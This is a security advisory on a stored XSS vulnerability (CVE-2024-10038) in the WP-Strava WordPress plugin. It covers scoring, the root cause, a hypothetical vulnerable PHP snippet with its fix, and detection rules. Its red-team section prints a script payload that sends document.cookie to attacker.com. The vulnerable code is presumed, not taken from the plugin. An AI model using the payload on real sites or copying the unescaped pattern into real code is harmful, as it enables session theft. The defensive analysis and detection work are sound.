CVE-2024-10038

Executive Summary

CVE-2024-10038 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP-Strava WordPress plugin, affecting all versions up to and including 2.12.1. The flaw resides in the plugin's admin settings, where insufficient input sanitization and output escaping allow authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is particularly impactful on multi-site installations or environments where the unfiltered_html capability has been disabled. Despite a low EPSS score (0.0%), the risk is elevated due to the lack of a known patch and the potential for privilege escalation or data theft in affected WordPress ecosystems.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The WP-Strava plugin is distributed via the official WordPress plugin repository and is used to integrate Strava activity data into WordPress sites. No known supply chain compromise has been reported, but the absence of a patch increases the risk of exploitation in unmaintained installations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Victim must access the injected page)
• Scope: Changed (Impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS in admin settings (which can affect other administrators or users) warrants attention. The vulnerability is limited to authenticated attackers with high privileges, but in multi-site environments, a compromised admin account can lead to widespread impact.

Deep Dive & Mechanics

The vulnerability exists in the WP-Strava plugin's admin settings page, where user-supplied input is not properly sanitized before being stored and later rendered. The plugin fails to escape output when displaying these settings, allowing an attacker with admin access to inject malicious JavaScript or HTML. This stored XSS payload will execute in the browsers of any user who visits the affected admin page, including other administrators or users with lower privileges.

Root Cause: Insufficient input sanitization and output escaping in the plugin's admin settings handling. The plugin likely uses $_POST or $_GET data without applying WordPress's built-in sanitization functions (e.g., sanitize_text_field(), esc_html(), or wp_kses()).

Attack Flow:

1. Attacker gains admin access to a WordPress site (e.g., via credential theft or social engineering).
2. Attacker navigates to the WP-Strava settings page and injects a malicious script into an input field (e.g., API key, display options).
3. The plugin stores the malicious input without sanitization.
4. When another admin or user visits the settings page, the script executes in their browser.
5. The script can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's admin settings handler. A typical vulnerable pattern in WordPress plugins is:

Vulnerable Code (PHP):

// In wp-strava/admin/class-wp-strava-admin.php
function save_settings() {
    $api_key = $_POST['wp_strava_api_key'];
    update_option('wp_strava_api_key', $api_key);
}
function display_settings() {
    $api_key = get_option('wp_strava_api_key');
    echo "<input type='text' value='$api_key' />";
}

Patched Code (Hypothetical):

function save_settings() {
    $api_key = sanitize_text_field($_POST['wp_strava_api_key']);
    update_option('wp_strava_api_key', $api_key);
}
function display_settings() {
    $api_key = esc_attr(get_option('wp_strava_api_key'));
    echo "<input type='text' value='$api_key' />";
}

The patch would involve using sanitize_text_field() on input and esc_attr() or esc_html() on output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with WP-Strava plugin version <= 2.12.1.
• Admin credentials (e.g., admin:password).
• Multi-site installation or unfiltered_html disabled.

Exploitation Steps:

1. Log in as admin.
2. Navigate to wp-admin/admin.php?page=wp-strava-settings.
3. Inject payload into a vulnerable field (e.g., API key input):

   <script>alert('XSS')</script>
   

4. Save settings.
5. Trigger execution by visiting the settings page again or having another admin visit it.

Advanced Payload (Cookie Stealing):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor admin settings changes for unexpected input patterns.
• Use Web Application Firewall (WAF) rules to block script tags in admin fields.
• Enable WordPress security plugins (e.g., Wordfence) to detect XSS attempts.

Hardening:

• Disable unfiltered_html for all users except super admins.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Regularly audit plugin code for unsanitized inputs.

Indicators of Compromise (IOCs)

• File Changes: Modified wp-content/plugins/wp-strava/admin/class-wp-strava-admin.php or similar files.
• Database Entries: Suspicious values in wp_options table under wp_strava_* keys.
• Network Traffic: Outbound requests to attacker-controlled domains from admin pages.
• Logs: Unusual POST requests to wp-admin/admin-post.php with script-like parameters.

Detection Engineering

YARA Rule

rule CVE_2024_10038_WP_Strava_XSS {
    meta:
        description = "Detects stored XSS payloads in WP-Strava plugin settings"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-10038"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $wp_strava_option = /wp_strava_/
    condition:
        $wp_strava_option and $xss_payload
}

Sigma Rule

title: WP-Strava Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS in WP-Strava plugin admin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-post.php'
        cs-uri-query: 'action=wp_strava_save_settings'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin using script tags in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-10038 WP-Strava Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=wp_strava_save_settings"; http_client_body;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-10038;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP-Strava plugin until a patch is released.
2. Restrict admin access to trusted users only.
3. Enable unfiltered_html only for super admins (if not already).

Long-Term Fix:

• Monitor the plugin's official repository for a patched version (e.g., 2.12.2 or higher).
• Apply the patch manually by adding input sanitization (sanitize_text_field()) and output escaping (esc_attr(), esc_html()) to the plugin's admin settings handler.

Workaround:

• Use a Web Application Firewall (WAF) to block script injection attempts in admin pages.
• Implement a Content Security Policy (CSP) that restricts inline script execution.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert